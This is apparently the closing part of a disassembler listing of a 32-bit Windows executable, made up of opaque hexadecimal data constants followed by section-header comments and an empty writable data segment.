		dd 1E9A35F4h, 0D0004C60h, 8736F9C0h, 0C98724D1h, 54F0696Bh
		dd 0F9E6A803h, 0C525EB7h, 0E006DF85h, 692D2978h, 0CC0B126Eh
		dd 2062F124h, 87762504h, 9BE3D1D8h, 30EAFD4Ch, 4C1EAF67h
		dd 1836E1B5h, 0EBDE920Dh, 1B7E885Ch, 0BA4BE216h, 0B7639061h
		dd 0BB6208A8h, 2E4E1D6Eh, 0BCC2B761h, 47727A61h, 598FE4B8h
		dd 0DFDE6D65h, 2F63873h, 4637E754h, 0FF1DEC37h,	9B693DCCh
		dd 6427FE74h, 0DF768530h, 9CB7091Bh, 0AEFE0D88h, 3C91D299h
		dd 76D18162h, 0B616DCBAh, 0D07C3EC5h, 0F7B44E03h, 29FFB268h
		dd 782DC69Ch, 0BD6B2EE0h, 0E78C54F2h, 24D49012h, 4704D661h
		dd 0B35E0589h, 0D19733FFh, 0ED85054h, 631FBC69h, 0EF4AFEB3h
		dd 43FD51A2h, 77C61564h, 43E5AB58h, 0D12FF085h,	0A47113D9h
		dd 0FFB74915h, 27EAC741h, 4C17E3FCh, 0B849518Bh, 0E79753FDh
		dd 0EA09039h, 3F3CF85Fh, 0D300B1B9h, 87C775A1h,	4B942976h
		dd 60349226h, 0D562DFA9h, 0C3743CD2h, 939F131Dh, 3F8EDD2Ch
		dd 47BF20ADh, 11625A8h,	0CBCE5EFDh, 0DA61ED3Ch,	1322955Bh
		dd 0A3399D05h, 10F453B4h, 1F8AE6F9h, 1FDE9810h,	811CF0FAh
		dd 0B6057719h, 0D2332E29h, 33C2F5DBh, 0A044E36Fh, 36AF3F0Dh
		dd 3FED52E9h, 36176E30h, 0FD56E5D7h, 47E02F31h,	3E25D332h
		dd 0B86D1341h, 88E33847h, 8B2A39DCh, 99843DE6h,	47D994AFh
		dd 5BF5C554h, 9E3E81FCh, 0AFFAA5B7h, 35911160h,	0A279D567h
		dd 0FB0ABDA7h, 40F21144h, 83D5C98Fh, 1C5E534h, 5815F6BBh
		dd 808B92BCh, 7BE271A4h, 0A8590971h, 0E49EF0E0h, 0BDA38233h
		dd 4BF20182h, 67B6055Fh, 793F9A4Dh, 0AB10BFEFh,	4C021DECh
		dd 37E276F1h, 3B803128h, 8C399DECh, 0AD7B13C0h,	87974300h
		dd 580F1668h, 865EEDD8h, 93066E45h, 1AD73A84h, 1BBD70C5h
		dd 1EEB340Ch, 0B232C1F5h, 8395D06Bh, 3290918h, 2F7ECD18h
		dd 0E4D4246Dh, 3A5F55E4h, 3BEEFED5h, 0C8C8352Ch, 0C4345E0Fh
		dd 870D9331h, 82AD678h,	0F851599h, 86EFB100h, 0D7666E72h
		dd 9A806DD8h, 37FCFD26h, 0A372C112h, 0C3DD102Bh, 6B7F49D8h
		dd 0E29C7806h, 739938ADh, 0F12CC7E4h, 0A0FCEC25h, 299A1D2Ch
		dd 11C3B160h, 23B9300Bh, 344269F8h, 0CFFACAE9h,	5B273740h
		dd 1766F523h, 0DB2A7520h, 0D0BD6A8Ch, 51814A13h, 6B3A813Ah
		dd 88AF76D8h, 3CFE0DB8h, 73C21608h, 0DA335824h,	0A24AD9FEh
		dd 9BB9E021h, 423A2130h, 0AF691AC2h, 0B5AA9F4h,	865024EBh
		dd 0BDB674CEh, 57EAB900h, 3F092CF7h, 1FAB7D8Ch,	0A215C59Fh
		dd 0F250554h, 2B7AC91Dh, 0F8153851h, 3E5B51E0h,	37E2C6D9h
		dd 0CD003128h, 42CD6213h, 0C3524567h, 45522A74h, 0CA9AE939h
		dd 0F5F3D10h, 0D24A25C0h, 68E63585h, 1B8E4EDDh,	8FAA3C0Ch
		dd 0B33281D1h, 0A79C911Fh, 0BC2FF60Ah, 0AA7E8D38h, 0FE37C820h
		dd 0B715DDCCh, 0F85FE668h, 0D48E9D08h, 0FBEF2212h, 0C71625AFh
		dd 0E57000Dh, 4FDEF6C0h, 0D0F74E50h, 522635E0h,	0A06E3648h
		dd 0D4AEFD4Dh, 23F9CD50h, 62B9B52Bh, 0ABBA5260h, 48B6889Ah
		dd 5983D160h, 9D47FFE4h, 749FA6AAh, 0FCCE5D48h,	0C79D1EC8h
		dd 756A4E6h, 3F8FE42Bh,	0E5DE6D67h, 0ACF1A350h,	57420A91h
		dd 0D4EAFCC8h, 9FEECF09h, 750F8C50h, 96768508h,	11FA61D0h
		dd 3B96B263h, 2DC21160h, 30F330Fh, 6EB5CDCCh, 0BF4E79F3h
		dd 9FF69CFDh, 4627E574h, 0F4A00810h, 0EB5AE643h, 9B02F090h
		dd 5382B14Fh, 106259C9h, 8F265988h, 0A3F24478h,	51982054h
		dd 0D42DC960h, 0AF1A9249h, 0BFC6D2A0h, 57C052A2h, 279B4CA5h
		dd 0FF249DACh, 0C31240D8h, 78857774h, 0BBE22ADh, 2B2220FCh
		dd 46DD26D4h, 97A611A7h, 5192FD8Eh, 4F6ED74Ch, 76CDD287h
		dd 0A7B6615Fh, 0D637EF5Bh, 2F3ED12Eh, 0FF2A918Ah, 0E00655A4h
		dd 0B05FE63Bh, 28E9D08h, 352A1FCh, 729B28C1h, 8B9A0C71h
		dd 689660B1h, 0DD49B140h, 817775AEh, 5C7FC6DBh,	0DCAEBD68h
		dd 0C0CC1E8h, 6AC80E45h, 0EBDF402Dh, 9DB3BD5Ch,	5392A48Eh
		dd 8BC620Ch, 0AC783857h, 843148Fh, 0C8780A31h, 8A988E3Bh
		dd 8B3F6005h, 87ADE7Ch,	1B1AB7h, 33DD20FBh, 66AA7988h
		dd 9FAE29FBh, 0B987551h, 2776B024h, 0CFB91C27h,	127E4DDCh
		dd 73823668h, 0F097A124h, 0BB51616Dh, 0BF0E5DACh, 8B57E770h
		dd 4796A513h, 0F4A4FF11h, 4F9BAA43h, 93E27194h,	0A26F544h
		dd 966ABDCAh, 9F097479h, 360D1790h, 67F62117h, 2485319Bh
		dd 0EF3E3658h, 0BE87D8A0h, 1DC6554Ch, 0AE758F28h, 0FF0EB997h
		dd 471DA135h, 87D625D0h, 1BCA2913h, 650EAE96h, 0D32219C1h
		dd 68B0F584h, 1B8EDEDDh, 0E0963E0Ch, 0E1D605DFh, 227F4594h
		dd 6BFA2149h, 76B4091h,	66CF91A0h, 0B7467DB9h, 7BA04B39h
		dd 741B227Ch, 8052E1D4h, 43199A4Ch, 8BDA2BCAh, 0FA61ED56h
		dd 13229911h, 0F361E03Bh, 636939C8h, 0C42AF2B3h, 0AA72C112h
		dd 0A71EA051h, 0A8337A98h, 3EEE5C9Fh, 0CCD3D54Ah, 0B76E8451h
		dd 909FA6A8h, 0FACE5D48h, 3416EEF0h, 3456A5F6h,	0E29FE071h
		dd 0DEDE6D54h, 4CCAA011h, 4766BA04h, 0FF4DEC37h, 5F6B3DCCh
		dd 6182855Fh, 0A2FFC514h, 0EB7AA1F5h, 97B5C65Fh, 739A29D8h
		dd 3454E624h, 0CBB6E29h, 8A8BD44Dh, 8D26158h, 412ED97Fh
		dd 385AA9ECh, 38DF6E6Eh, 1A03C671h, 178EC4C1h, 0AC657A08h
		dd 3CD77B87h, 0BBA1CCA6h, 73F5B25Bh, 4033191Bh,	3F3DA51Dh
		dd 0C45D6B21h, 33F7B0Dh, 41099036h, 203C9CE0h, 482E2A3Bh
		dd 0C5D53136h, 3DE6428h, 2C875A03h, 0F6A74A01h,	54E675ACh
		dd 7FEE7211h, 0A7E63400h, 0D03281D0h, 687D8654h, 0D63702B3h
		dd 2F3EEA15h, 0C09D1A1Ch, 0D63AF96Dh, 1F61F1Ah,	1FA2DF5Bh
		dd 770E9D5Ah, 0B3385958h, 0FEDA15A5h, 0C4560ED4h, 4B278C01h
		dd 0DC527581h, 0C9A96AB5h
		dd 162BF24Ch, 0A88D3EEFh, 0AE61B8D7h, 2FF50AD6h, 9041F260h
		dd 66C1861Dh, 0C6C29AAAh, 86F5A657h, 4DFD5E3Bh,	0BCB4653Fh
		dd 576B5A0Bh, 0C4553DEBh, 702136F8h, 0BB79C2BFh, 0E8994B47h
		dd 2424FDC7h, 4DDDC273h, 63B217B8h, 0D8182D14h,	0EBD27627h
		dd 0F2FE4D9Ch, 5271FCE1h, 0CE6FD564h, 9F4A99E8h, 0A856F53h
		dd 8392095Dh, 21B46C50h, 51179779h, 0CFFCE8B3h,	0CD693180h
		dd 3178F678h, 5E3A8289h, 0DFFCF8C3h, 0E0054190h, 67960542h
		dd 0EEFFC618h, 193E8DDCh, 0BC000DE3h, 77C6AEE0h, 1BF45828h
		dd 0DF6EBDCCh, 0C3BCE5BFh, 483E2574h, 446516C6h, 0F5E0E7Eh
		dd 2DB599C0h, 350ECA7Bh, 0D0AAF948h, 5F468C91h,	1E8769D0h
		dd 23F9BA6Bh, 6BBA09D0h, 7537897h, 0ADC991A0h, 5FD85698h
		dd 8435E7F6h, 750FAB5Eh, 352C1D4h, 91E8EE54h, 6CE537Bh
		dd 0F8EED89h, 318B200h,	0D723747Dh, 3E196E88h, 5D4DFEFDh
		dd 7D2D65E3h, 75078A86h, 0AAAFCE15h, 3F360D5Ch,	0DD4939DFh
		dd 7C1C6A1Bh, 0F10955E2h, 7A8F907Ch, 0CABAA21Bh, 4191B7B3h
		dd 0EB3A4998h, 0A795A45Ch, 0D8B2BBCBh, 574E8481h, 0D36040C8h
		dd 0D5673EFFh, 73F00058h, 272EA697h, 0C30F0C53h, 0EDFF4DDCh
		dd 23811068h, 0BCE20717h, 0F9C5FDCAh, 0AEB3DEF4h, 83D26158h
		dd 0BA74613Bh, 0BEA55607h, 0CF5E4591h, 0B765A47Fh, 0E259F504h
		dd 1B2A9121h, 0FB29E833h, 2E7F41D0h, 67F62D41h,	3675C95h
		dd 0BD6F8D9Ch, 6FD51CAh, 77863D75h, 1FF54CD7h, 4AB19DACh
		dd 0C35249A1h, 0A3D1B08Bh, 0FE17E978h, 0F1E8AF5h, 0FB2FC43Fh
		dd 68B035C4h, 1B8E82DDh, 0ECB3E0Ch, 0E332C1F8h,	0A7F6AD57h
		dd 1E70958h, 1934C1Dh, 0AB42D1C3h, 32C75A54h, 7B8A0DE8h
		dd 0BC4D1DA9h, 0CA25E38h, 0D396E075h, 0B6192938h, 4FB4ED2Ch
		dd 9204AD75h, 0BB2A51B8h, 0FBF94CF9h, 0A05139A4h, 0CB77B4EFh
		dd 18C97816h, 54059B70h, 90906CA3h, 7D4A90Dh, 5DAEF5F6h
		dd 0CEF5A657h, 5B8A9655h, 4A276C00h, 8C56E5D3h,	4A7C61E8h
		dd 0FCDC2B46h, 53CAA765h, 9C664A04h, 892A130Ch,	2C7BC2DCh
		dd 0E0B24174h, 19F7CDD0h, 0B705B684h, 697D4EE9h, 8EB6F964h
		dd 0B36E2ADBh, 9AB56617h, 0BF0E7814h, 0AC6AE270h, 0AF96E534h
		dd 0B5AA9E8h, 771E4D7Eh, 93E231B0h, 57A6F6ACh, 1B4E7B08h
		dd 0D30A2941h, 5B716F5Dh, 7AF7954h, 2B7AC9F0h, 0CB6A06DCh
		dd 0A9890C90h, 5437F8E5h, 3F62D968h, 9EB16218h,	126572h
		dd 7Eh dup(0)
		dd 1280h dup(?)
seg002		ends

; Section 4. (virtual address 0001E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00019600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 41E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start